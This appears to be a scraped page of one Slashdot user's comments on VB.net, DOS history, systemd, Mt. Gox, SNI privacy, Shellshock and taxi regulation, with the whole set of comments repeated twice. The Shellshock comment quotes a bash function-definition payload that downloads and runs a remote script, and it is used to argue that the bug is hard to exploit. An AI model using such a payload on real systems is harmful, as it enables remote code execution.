Despite the superiority of C#, my experience is that VB.net is by far the dominant language in (enterprise).net shops, and (enterprise).net is about as popular as Enterprise Java in practice.
Two major reasons:
- People are very familiar with VB and can program in VB.net easily.
- Lots of critical custom business apps were written in VB in the 1990s. As the software has been migrated to the web, VB.net allowed large amounts of source code containing critical business logic to be literally cut and pasted over.
The summary is completely absurd. VB.net will be around for another 25 years, at least.
PL/M is indeed dead, but I'm not sure where you get your history of MS DOS from.
MS DOS is based upon Q&D-OS/86DOS. 86DOS has nothing in common with CP/M beyond implementing the same API for backward compatibility reasons - there's no shared code, the user interface (command line shell) is entirely different, and probably the most complicated bit of "that type of operating system", the file system, is completely different in virtually every way with the superficial exception of using 8.3 filenames.
86DOS was written in 8086 assembler, not PL/M or C, and was never available for the 8080. It was written as a stop gap because the manufacturer of an 8086 card for (IIRC) S100 systems (that bit I may have wrong) was waiting for DR to release CP/M86 and DR was taking rather a long time to get around to it.
Later Microsoft probably did rewrite some of 86DOS in C, but I believe MSDOS 2.x and 3.x were still primarily written in assembler.
CP/M itself has a development history and it's possible DR rewrote parts of it in C as the software lurched slowly to Concurrent DOS in one direction, and DR DOS in the other via DOS Plus, via CP/M Plus (CP/M 3.) But MS DOS? Totally different history. Patterson's decision to implement the CP/M API has led to a lot of confusion over the years, but anyone with familiarity of both operating systems can tell you they really aren't related.
Yes, what every server admin wants is a situation where when they do a reboot for a critical server, they have to explain to their boss why the entire company's network is "down" for 10-15 minutes, and why half a dozen services didn't come up because they were using rc.d scripts that turned out to have shell scripting errors that the latest version of bash broke.
Yes, because everyone who uses GNU/Linux is desperate to write their own init scripts...
The reality is, I suspect, opposite to what systemd's opponents say. I suspect most people are glad of the move away from plain old init, and insofar as they have a problem with systemd, it's that it could be done better.
The side they expect to tank, being loaded with a business the owners consider unsexy and unprofitable in the long term, will be called HP.
The side that will make huge amounts of money from contracting work to Enterprises will be called iAccentria (or some other made up word meaning nothing...)
The revisionism within the Bitcoin community about Mt. Gox is astounding. The truth is that the Bitcoin "establishment", as it was, was generally pro-Mt. Gox, and indeed some parts of the system continued to promote Mt. Gox long after the company went insolvent. . Probably the most notorious example was Blockchain.info (Archive.org has a gap of archives between December and July before anyone comments, but the fact I was able to make this tweet should confirm this image was current back in March.)
The scale of the Mt. Gox disaster was a failure of the system, of the consensus driven establishment that set up and supported Bitcoins. By both refusing to accept the need for some form of regulatory environment, voluntary or by legislative fiat, and the deliberate herding of newcomers to that company, the system showed itself to have major flaws.
Moreover though, it showed flaws that the community is unwilling to address, preferring instead to either use sophistry - from arguments that Bitcoin is independent of the environment it trades in, to the pretense that you can't trust US banks to manage your dollars because banks in Sierra Leone that trade in dollars aren't regulated - or just plain pretending what happened didn't happen, the "Oh, I knew Mt. Gox was going to be a problem six months before it went bust* and nobody was recommending it and everyone's always said keep your money in your own wallet and..." argument.
BTW, that asterisk next to the word bust? Funny thing: people really do make that argument, but Mt. Gox, while not bankrupt six months before it went bankrupt (well, duh), had by that point made it hard for people to take money out of their accounts. Most of Mt. Gox's victims are likely people who were customers before anyone "noticed something was wrong". But Blockchain.info was recommending them anyway.
Yes, some libertarians laughed at those who stored money at Mt. Gox. They did it after it became too late to do anything about it. There's always a group of self-described libertarians who laugh at victims of business failures. I've never understood why.
Ah yes, we should make it illegal for them to do what they're doing for their own good because we know more than they do about what would make money. Reminds me of the "They'd make more money if only they'd let me distribute all their music to millions of anonymous strangers for free" argument...
I'm far from a libertarian, but I can't agree with this.
And anti-trust exemptions... well, I think for many industries, especially the entertainment industries they should be automatic unless you can find somewhere (say, employment, etc) where there's a genuine issue with people being impacted trying to do the things that are critical to living. I do think anti-trust laws are legitimate as is anti-trust enforcement, but I also honestly think the laws are too broad at the moment.
If it's so bad for the entertainment industry (of which sports is a subset) to continue to do what they're doing, they will, ultimately, stop doing it. In the mean time, let's recognize that together with a lot of other issues that consumers don't like, such the inability to subscribe to a single (cable) TV channel, participation in the industry itself is completely optional. Nobody is harmed by refusing to participate in a sporting audience, or refusing to buy a cable TV subscription.
Looking at the Wikipedia page, the two EOL'd environments that stand out are:
- Android browser on Gingerbread (and older) - hopefully this'll be solved soon, Gingerbread is finally disappearing but it's taken a while.
- Internet Explorer on Windows XP.
Everything else seems to be the kind of environment where if you're still using a browser that cannot support SNI then you're probably running into all kinds of problems anyway.
(I would like to think that Windows XP users are using Firefox these days, but...)
Question: aren't there privacy issues associated with SNI? http://tools.ietf.org/html/rfc... shows no attempt to munge the server name. So even though a third party might not be able to determine what content you're trying to access, they probably can intercept - albeit with the victim experiencing an interuption in service - the hostname and determine whose content you're trying to view.
Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh;./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.
(If I'm wrong, expecting angry flames now;-) Please though include details of why.)
I suspect large numbers of people saw the bug, but didn't realize the implications and took no action knowing that the last thing you want to do with a programming language (which a shell like a bourne implementation implements) is change what constitutes valid code.
What does this mean? Unsure. It's always been bad practice to use system() or similar calls to start other apps. What this issue has revealed is not so much that bash has a bug in it, but that rather too many applications rely upon bash and shouldn't. Bash is always a vector, and writing code that calls it already means working a great deal on input validation exercises that risk failure.
The scary part is that a significant amount of the *ix community doesn't care - they call system() anyway, or blindly allow the shell environment to be modified, without asking themselves whether this is a good idea.
One thing missing in all of this is how do I exploit it? In the example you give, that's not clear.
So far as I can determine, the only time this is going to be exploited is if you have some way of manipulating the environment of the shell. I can't think of a CGI variable that's directly set to the content of something the caller has enough control over, pretty much all of them are munged, have mandatory punctuation incompatible with use as a function placed at the beginning, or are impossible to put parentheses and punctuation in.
Perhaps I'm wrong. But I'm inclined to think the entire thing is overblown for two reasons. First, the difficulty of setting the environment in the first place, and secondly the fact making system() calls, etc, is always a red flag for those checking for security holes (and is rare and usually unnecessary) because of the other potential issues with calling a program that literally has direct control over a substantial amount of your computer.
Which is not to say that, for example, the DHCP exploit that's been mentioned isn't terrifying, but even that... why the hell does the DHCPD client, by default, allow the environment to be changed via an insecure DHCP environment anyway?
Must admit that's news to me. Kinda fed up of the subtle changes to shell commands we've seen over the last few years especially as this one conflicts with the kill -{SIGNAL} syntax we're used to.
Either way, this sounds like a non-issue. (1) if we're routinely trying to determine how to kill EVERY CORE PROCESS ON THE SYSTEM then we have bigger fish to fry than whether init/systemd is capable of working with that.
(2) It sound scriptable to me, assuming systemd itself isn't capable of doing it./proc should give you all the information you need.
I worry that this is the kind of concern holding back adoption of systemd. Good reasons I understand. Bad ones, that seek to blame systemd for major system problems that exist under init too, are bad.
I agree Google shouldn't have omitted the SD card slot from their Nexus series. It's one of many reasons I'll never buy a Nexus device again.
Nobody here is talking about swapping SD cards constantly. What's being talked about is not caring about the capacity of the device you buy. You store apps on the device as there's more than enough space even when they have tiny amounts of memory like 16GB. You store data on one, single, micro SD card. When you run out of space on your micro SD card, you buy a bigger one and copy your data to that.
That way, upgrading your phone is just a matter of swapping the SIM and SD cards. Your data follows you. It "just works". Rather than the inordinately stupid idea, popularized by Apple and slavishly copied by Google, of copying all your data across from one device to the other, either directly, or via the cloud, all umpteen gigabytes of it. That's ridiculous, that's absurd, and manufacturers should recognize that's a massive inconvenience nobody wants.
Part of the reason geeks love *ix is because right now the alternative is Windows, and *ix matured rather better than the odd combination of technologies (an API and application model with its roots in Windows 1.0 coupled with a nice-ish kernel with inspiration from the unholy combination of VMS and the 1980s microkernel movement) that's called Windows today.
Throughout my life I've used a variety of different platforms, though the ability to choose something different dried up in the mid-nineties as one by one the alternatives either went bankrupt or became obsolete. Some - at the time I was using them, not now - felt more comfortable, flexible, and ultimately more usable, than *ix. AmigaOS 2.04+ (especially augmented with the GCC tools) would be an example (again, NOT NOW, THEN.) Others, like VMS, were ugly, and horrendous to use or program, but they were still valuable in terms of providing wonderful ideas that, alas, we've ignored since - VMS itself had generic job queues, indexed files right in the file system, a shell that didn't blindly execute files with the same name a command you'd typed, security passed upon roles and permissions, networking built into the file system (think if you could type "cat header.html scp://otherhost/home/squiggleslash/main.html footer.html > blah.html" - that's roughly what I'm talking about), all unfortunately crippled by some clumsy design decisions and a reliance on proprietary hardware.
*ix is great, but for those who've experienced more than Unix and Windows, it's... well, it's kind of like we settled. You know that couple who knew each other at high school, and then after a 20 year absence got married at 40? And they seem OK, but you realize both are bored, and both married because they felt like they were running out of options?
Yeah, more politics! Less of that nerdy tech stuff! What do they think we are, a bunch of geeks who get excited by things like communications technologies and networking?
I think the number of people on Slashdot, a relatively technically edumicated audience, who think this is about someone putting a link on an auction page, and not about an automatic redirect when you visited an auction page, makes it fairly obvious why it took eBay 12 hours to respond.
Wait, iPhones autoplay music? As in, not only did Apple push the unwanted album to phones, but they then set up the iPhone to play it at full blast whenever you were nearby, forcing you to listen to it?
If that's the case, then that has been left out of the widespread news coverage of the story, which has just concentrated on the "Being uploaded to phones that were set up to automatically download new purchases", which most of us consider a minor inconvenience, if that.
The results I get seem to be mostly people trying to come up with clever blog titles, not actually cases where someone innocently said "Well, I googled what you asked for, and Bing gave me over a gajillion results."
Indeed, I suspect there are multiple levels here. If someone tells me to "Go google something", I may use Bing in my quest to research whatever it is I've been asked to look up. OTOH, if I say "Well, I googled it, and found...", it'll generally be the case that I'm saying I actually used Google.
Pro-tip, which I learned recently: Google has actually a hidden (well, obscure, it's there but there's no reason you'd think it does what it does) option that means "Just give me the results using the algorithms you used back when Google was useful." Search Tools -> (All Results) : Verbatim.
No, you can't make it a default. They track that you're probably male, probably interested in tech, and that you'd be a good person to present ads for spiked leather underpants to, but they don't track that you actually want useful search engine results. Sigh.
I'm in my forties, and I don't recall anyone ever using the term "Xerox". I've heard it used as an example of someone using a trademark generically, but not actually seen that occur in practice.
Same, BTW, goes for Kleenex. Everyone I know, since the dawn of time, has said "tissue".
Bullshit. Those groups defend the laws, but they don't exist until the laws are passed. Licensed taxi drivers are a creation of regulation, not the creators of it.
The laws get created because enough people get ripped off, killed, and otherwise hurt by a completely unregulated marketplace that politicians feel the need to take action. The environment and circumstances in which the regulations were passed are so long ago that knee-jerk libertarians can claim, with a straight face, that they really believe that someone with a medallion lobbied for a law calling for the creation of the medallion system, knowing nobody will actually be able to recall the real reasons.
In the majority of cases, the laws make sense and are obvious to anyone looking in that they have little to do with protecting monopolies.
- To reduce the risks of accidents, most taxi regulations generally impose requirements on the skills and abilities of drivers, though frequently these aren't more than those required to get a driving license to begin with.
- To prevent a taxi driver's mistake causing untold harm to a client who ends up an accident victim, taxi drivers are generally required to carry more insurance than normal.
- To ensure the taxi provides a predictable level of service, and hence avoid clients being ripped off, taxi drivers generally are required to implement a standardized fare schedule, and usually have to pass certain tests about knowledge of local routes.
In rare cases, there may also be a quota system to prevent an overload of taxis. At a surface level, this might seem like an attempt to enforce a monopoly, but in fact it's usually the result of city commissioners trying to regulate traffic in general. The poster child for the this kind of regulation is New York City. You can pretend, if you want, that the problem with NYC is that there are too few taxis as a result of the medallion system, but, well, I've been there. Those photos you see of a typical Manhattan street clogged in all lanes by nothing but yellow cabs? Those aren't staged.
So no, licensed taxi drivers did not create the licensing system. Insured taxi drivers did not demand to be insured. Trained taxi drivers did not demand training requirements. And the Linux kernel never created Linus Torvalds.
Slashdot Mirror
Despite the superiority of C#, my experience is that VB.net is by far the dominant language in (enterprise) .net shops, and (enterprise) .net is about as popular as Enterprise Java in practice.
Two major reasons:
- People are very familiar with VB and can program in VB.net easily.
- Lots of critical custom business apps were written in VB in the 1990s. As the software has been migrated to the web, VB.net allowed large amounts of source code containing critical business logic to be literally cut and pasted over.
The summary is completely absurd. VB.net will be around for another 25 years, at least.
PL/M is indeed dead, but I'm not sure where you get your history of MS DOS from.
MS DOS is based upon Q&D-OS/86DOS. 86DOS has nothing in common with CP/M beyond implementing the same API for backward compatibility reasons - there's no shared code, the user interface (command line shell) is entirely different, and probably the most complicated bit of "that type of operating system", the file system, is completely different in virtually every way with the superficial exception of using 8.3 filenames.
86DOS was written in 8086 assembler, not PL/M or C, and was never available for the 8080. It was written as a stop gap because the manufacturer of an 8086 card for (IIRC) S100 systems (that bit I may have wrong) was waiting for DR to release CP/M86 and DR was taking rather a long time to get around to it.
Later Microsoft probably did rewrite some of 86DOS in C, but I believe MSDOS 2.x and 3.x were still primarily written in assembler.
CP/M itself has a development history and it's possible DR rewrote parts of it in C as the software lurched slowly to Concurrent DOS in one direction, and DR DOS in the other via DOS Plus, via CP/M Plus (CP/M 3.) But MS DOS? Totally different history. Patterson's decision to implement the CP/M API has led to a lot of confusion over the years, but anyone with familiarity of both operating systems can tell you they really aren't related.
Yes, what every server admin wants is a situation where when they do a reboot for a critical server, they have to explain to their boss why the entire company's network is "down" for 10-15 minutes, and why half a dozen services didn't come up because they were using rc.d scripts that turned out to have shell scripting errors that the latest version of bash broke.
Yes, because everyone who uses GNU/Linux is desperate to write their own init scripts...
The reality is, I suspect, opposite to what systemd's opponents say. I suspect most people are glad of the move away from plain old init, and insofar as they have a problem with systemd, it's that it could be done better.
No.
The side they expect to tank, being loaded with a business the owners consider unsexy and unprofitable in the long term, will be called HP.
The side that will make huge amounts of money from contracting work to Enterprises will be called iAccentria (or some other made up word meaning nothing...)
The revisionism within the Bitcoin community about Mt. Gox is astounding. The truth is that the Bitcoin "establishment", as it was, was generally pro-Mt. Gox, and indeed some parts of the system continued to promote Mt. Gox long after the company went insolvent. . Probably the most notorious example was Blockchain.info (Archive.org has a gap of archives between December and July before anyone comments, but the fact I was able to make this tweet should confirm this image was current back in March.)
The scale of the Mt. Gox disaster was a failure of the system, of the consensus driven establishment that set up and supported Bitcoins. By both refusing to accept the need for some form of regulatory environment, voluntary or by legislative fiat, and the deliberate herding of newcomers to that company, the system showed itself to have major flaws.
Moreover though, it showed flaws that the community is unwilling to address, preferring instead to either use sophistry - from arguments that Bitcoin is independent of the environment it trades in, to the pretense that you can't trust US banks to manage your dollars because banks in Sierra Leone that trade in dollars aren't regulated - or just plain pretending what happened didn't happen, the "Oh, I knew Mt. Gox was going to be a problem six months before it went bust* and nobody was recommending it and everyone's always said keep your money in your own wallet and..." argument.
BTW, that asterisk next to the word bust? Funny thing: people really do make that argument, but Mt. Gox, while not bankrupt six months before it went bankrupt (well, duh), had by that point made it hard for people to take money out of their accounts. Most of Mt. Gox's victims are likely people who were customers before anyone "noticed something was wrong". But Blockchain.info was recommending them anyway.
Yes, some libertarians laughed at those who stored money at Mt. Gox. They did it after it became too late to do anything about it. There's always a group of self-described libertarians who laugh at victims of business failures. I've never understood why.
Well yes, because they're using a search string that happens to be the way it would be done in Java.
Ah yes, we should make it illegal for them to do what they're doing for their own good because we know more than they do about what would make money. Reminds me of the "They'd make more money if only they'd let me distribute all their music to millions of anonymous strangers for free" argument...
I'm far from a libertarian, but I can't agree with this.
And anti-trust exemptions... well, I think for many industries, especially the entertainment industries they should be automatic unless you can find somewhere (say, employment, etc) where there's a genuine issue with people being impacted trying to do the things that are critical to living. I do think anti-trust laws are legitimate as is anti-trust enforcement, but I also honestly think the laws are too broad at the moment.
If it's so bad for the entertainment industry (of which sports is a subset) to continue to do what they're doing, they will, ultimately, stop doing it. In the mean time, let's recognize that together with a lot of other issues that consumers don't like, such the inability to subscribe to a single (cable) TV channel, participation in the industry itself is completely optional. Nobody is harmed by refusing to participate in a sporting audience, or refusing to buy a cable TV subscription.
They're not releasing "Windows 9" this year. They're renaming Windows 9 to Windows 10, and releasing that next year.
Looking at the Wikipedia page, the two EOL'd environments that stand out are:
- Android browser on Gingerbread (and older) - hopefully this'll be solved soon, Gingerbread is finally disappearing but it's taken a while.
- Internet Explorer on Windows XP.
Everything else seems to be the kind of environment where if you're still using a browser that cannot support SNI then you're probably running into all kinds of problems anyway.
(I would like to think that Windows XP users are using Firefox these days, but...)
Question: aren't there privacy issues associated with SNI? http://tools.ietf.org/html/rfc... shows no attempt to munge the server name. So even though a third party might not be able to determine what content you're trying to access, they probably can intercept - albeit with the victim experiencing an interuption in service - the hostname and determine whose content you're trying to view.
Kinda. With "Mark 2" it becomes considerably more difficult, as you have to find a way to set an environment variable to the same name as a command that'll be executed - at least, from the proof of concept exploits I'm seeing. So even if a badly configured webserver sets HTTP_HOST to "() { wget http://192.168.0.1/r00t.sh ; chmod +x r00t.sh; ./r00t.sh; }", unless your script actually tries to run a program called HTTP_HOST it shouldn't be called.
(If I'm wrong, expecting angry flames now ;-) Please though include details of why.)
I suspect large numbers of people saw the bug, but didn't realize the implications and took no action knowing that the last thing you want to do with a programming language (which a shell like a bourne implementation implements) is change what constitutes valid code.
What does this mean? Unsure. It's always been bad practice to use system() or similar calls to start other apps. What this issue has revealed is not so much that bash has a bug in it, but that rather too many applications rely upon bash and shouldn't. Bash is always a vector, and writing code that calls it already means working a great deal on input validation exercises that risk failure.
The scary part is that a significant amount of the *ix community doesn't care - they call system() anyway, or blindly allow the shell environment to be modified, without asking themselves whether this is a good idea.
One thing missing in all of this is how do I exploit it? In the example you give, that's not clear.
So far as I can determine, the only time this is going to be exploited is if you have some way of manipulating the environment of the shell. I can't think of a CGI variable that's directly set to the content of something the caller has enough control over, pretty much all of them are munged, have mandatory punctuation incompatible with use as a function placed at the beginning, or are impossible to put parentheses and punctuation in.
Perhaps I'm wrong. But I'm inclined to think the entire thing is overblown for two reasons. First, the difficulty of setting the environment in the first place, and secondly the fact making system() calls, etc, is always a red flag for those checking for security holes (and is rare and usually unnecessary) because of the other potential issues with calling a program that literally has direct control over a substantial amount of your computer.
Which is not to say that, for example, the DHCP exploit that's been mentioned isn't terrifying, but even that... why the hell does the DHCPD client, by default, allow the environment to be changed via an insecure DHCP environment anyway?
Must admit that's news to me. Kinda fed up of the subtle changes to shell commands we've seen over the last few years especially as this one conflicts with the kill -{SIGNAL} syntax we're used to.
Either way, this sounds like a non-issue. (1) if we're routinely trying to determine how to kill EVERY CORE PROCESS ON THE SYSTEM then we have bigger fish to fry than whether init/systemd is capable of working with that.
(2) It sound scriptable to me, assuming systemd itself isn't capable of doing it. /proc should give you all the information you need.
I worry that this is the kind of concern holding back adoption of systemd. Good reasons I understand. Bad ones, that seek to blame systemd for major system problems that exist under init too, are bad.
I agree Google shouldn't have omitted the SD card slot from their Nexus series. It's one of many reasons I'll never buy a Nexus device again.
Nobody here is talking about swapping SD cards constantly. What's being talked about is not caring about the capacity of the device you buy. You store apps on the device as there's more than enough space even when they have tiny amounts of memory like 16GB. You store data on one, single, micro SD card. When you run out of space on your micro SD card, you buy a bigger one and copy your data to that.
That way, upgrading your phone is just a matter of swapping the SIM and SD cards. Your data follows you. It "just works". Rather than the inordinately stupid idea, popularized by Apple and slavishly copied by Google, of copying all your data across from one device to the other, either directly, or via the cloud, all umpteen gigabytes of it. That's ridiculous, that's absurd, and manufacturers should recognize that's a massive inconvenience nobody wants.
I wish Microsoft wasn't the only one.
Part of the reason geeks love *ix is because right now the alternative is Windows, and *ix matured rather better than the odd combination of technologies (an API and application model with its roots in Windows 1.0 coupled with a nice-ish kernel with inspiration from the unholy combination of VMS and the 1980s microkernel movement) that's called Windows today.
Throughout my life I've used a variety of different platforms, though the ability to choose something different dried up in the mid-nineties as one by one the alternatives either went bankrupt or became obsolete. Some - at the time I was using them, not now - felt more comfortable, flexible, and ultimately more usable, than *ix. AmigaOS 2.04+ (especially augmented with the GCC tools) would be an example (again, NOT NOW, THEN.) Others, like VMS, were ugly, and horrendous to use or program, but they were still valuable in terms of providing wonderful ideas that, alas, we've ignored since - VMS itself had generic job queues, indexed files right in the file system, a shell that didn't blindly execute files with the same name a command you'd typed, security passed upon roles and permissions, networking built into the file system (think if you could type "cat header.html scp://otherhost/home/squiggleslash/main.html footer.html > blah.html" - that's roughly what I'm talking about), all unfortunately crippled by some clumsy design decisions and a reliance on proprietary hardware.
*ix is great, but for those who've experienced more than Unix and Windows, it's... well, it's kind of like we settled. You know that couple who knew each other at high school, and then after a 20 year absence got married at 40? And they seem OK, but you realize both are bored, and both married because they felt like they were running out of options?
That's us and *ix.
Yeah, more politics! Less of that nerdy tech stuff! What do they think we are, a bunch of geeks who get excited by things like communications technologies and networking?
I think the number of people on Slashdot, a relatively technically edumicated audience, who think this is about someone putting a link on an auction page, and not about an automatic redirect when you visited an auction page, makes it fairly obvious why it took eBay 12 hours to respond.
Wait, iPhones autoplay music? As in, not only did Apple push the unwanted album to phones, but they then set up the iPhone to play it at full blast whenever you were nearby, forcing you to listen to it?
If that's the case, then that has been left out of the widespread news coverage of the story, which has just concentrated on the "Being uploaded to phones that were set up to automatically download new purchases", which most of us consider a minor inconvenience, if that.
The results I get seem to be mostly people trying to come up with clever blog titles, not actually cases where someone innocently said "Well, I googled what you asked for, and Bing gave me over a gajillion results."
Indeed, I suspect there are multiple levels here. If someone tells me to "Go google something", I may use Bing in my quest to research whatever it is I've been asked to look up. OTOH, if I say "Well, I googled it, and found...", it'll generally be the case that I'm saying I actually used Google.
Pro-tip, which I learned recently: Google has actually a hidden (well, obscure, it's there but there's no reason you'd think it does what it does) option that means "Just give me the results using the algorithms you used back when Google was useful." Search Tools -> (All Results) : Verbatim.
No, you can't make it a default. They track that you're probably male, probably interested in tech, and that you'd be a good person to present ads for spiked leather underpants to, but they don't track that you actually want useful search engine results. Sigh.
I'm in my forties, and I don't recall anyone ever using the term "Xerox". I've heard it used as an example of someone using a trademark generically, but not actually seen that occur in practice.
Same, BTW, goes for Kleenex. Everyone I know, since the dawn of time, has said "tissue".
Coke and Tylenol, yeah. But not Xerox or Kleenex.
Oh sure, Big Gubmint needs to regulate the Internet as a utility to do that.
I'm so glad I'm not regulated as a utility, otherwise the government could pass laws about what I can and cannot do...
"The ship was a model as big as this, a very clever deception indeed!"
Bullshit. Those groups defend the laws, but they don't exist until the laws are passed. Licensed taxi drivers are a creation of regulation, not the creators of it.
The laws get created because enough people get ripped off, killed, and otherwise hurt by a completely unregulated marketplace that politicians feel the need to take action. The environment and circumstances in which the regulations were passed are so long ago that knee-jerk libertarians can claim, with a straight face, that they really believe that someone with a medallion lobbied for a law calling for the creation of the medallion system, knowing nobody will actually be able to recall the real reasons.
In the majority of cases, the laws make sense and are obvious to anyone looking in that they have little to do with protecting monopolies.
- To reduce the risks of accidents, most taxi regulations generally impose requirements on the skills and abilities of drivers, though frequently these aren't more than those required to get a driving license to begin with.
- To prevent a taxi driver's mistake causing untold harm to a client who ends up an accident victim, taxi drivers are generally required to carry more insurance than normal.
- To ensure the taxi provides a predictable level of service, and hence avoid clients being ripped off, taxi drivers generally are required to implement a standardized fare schedule, and usually have to pass certain tests about knowledge of local routes.
In rare cases, there may also be a quota system to prevent an overload of taxis. At a surface level, this might seem like an attempt to enforce a monopoly, but in fact it's usually the result of city commissioners trying to regulate traffic in general. The poster child for the this kind of regulation is New York City. You can pretend, if you want, that the problem with NYC is that there are too few taxis as a result of the medallion system, but, well, I've been there. Those photos you see of a typical Manhattan street clogged in all lanes by nothing but yellow cabs? Those aren't staged.
So no, licensed taxi drivers did not create the licensing system. Insured taxi drivers did not demand to be insured. Trained taxi drivers did not demand training requirements. And the Linux kernel never created Linus Torvalds.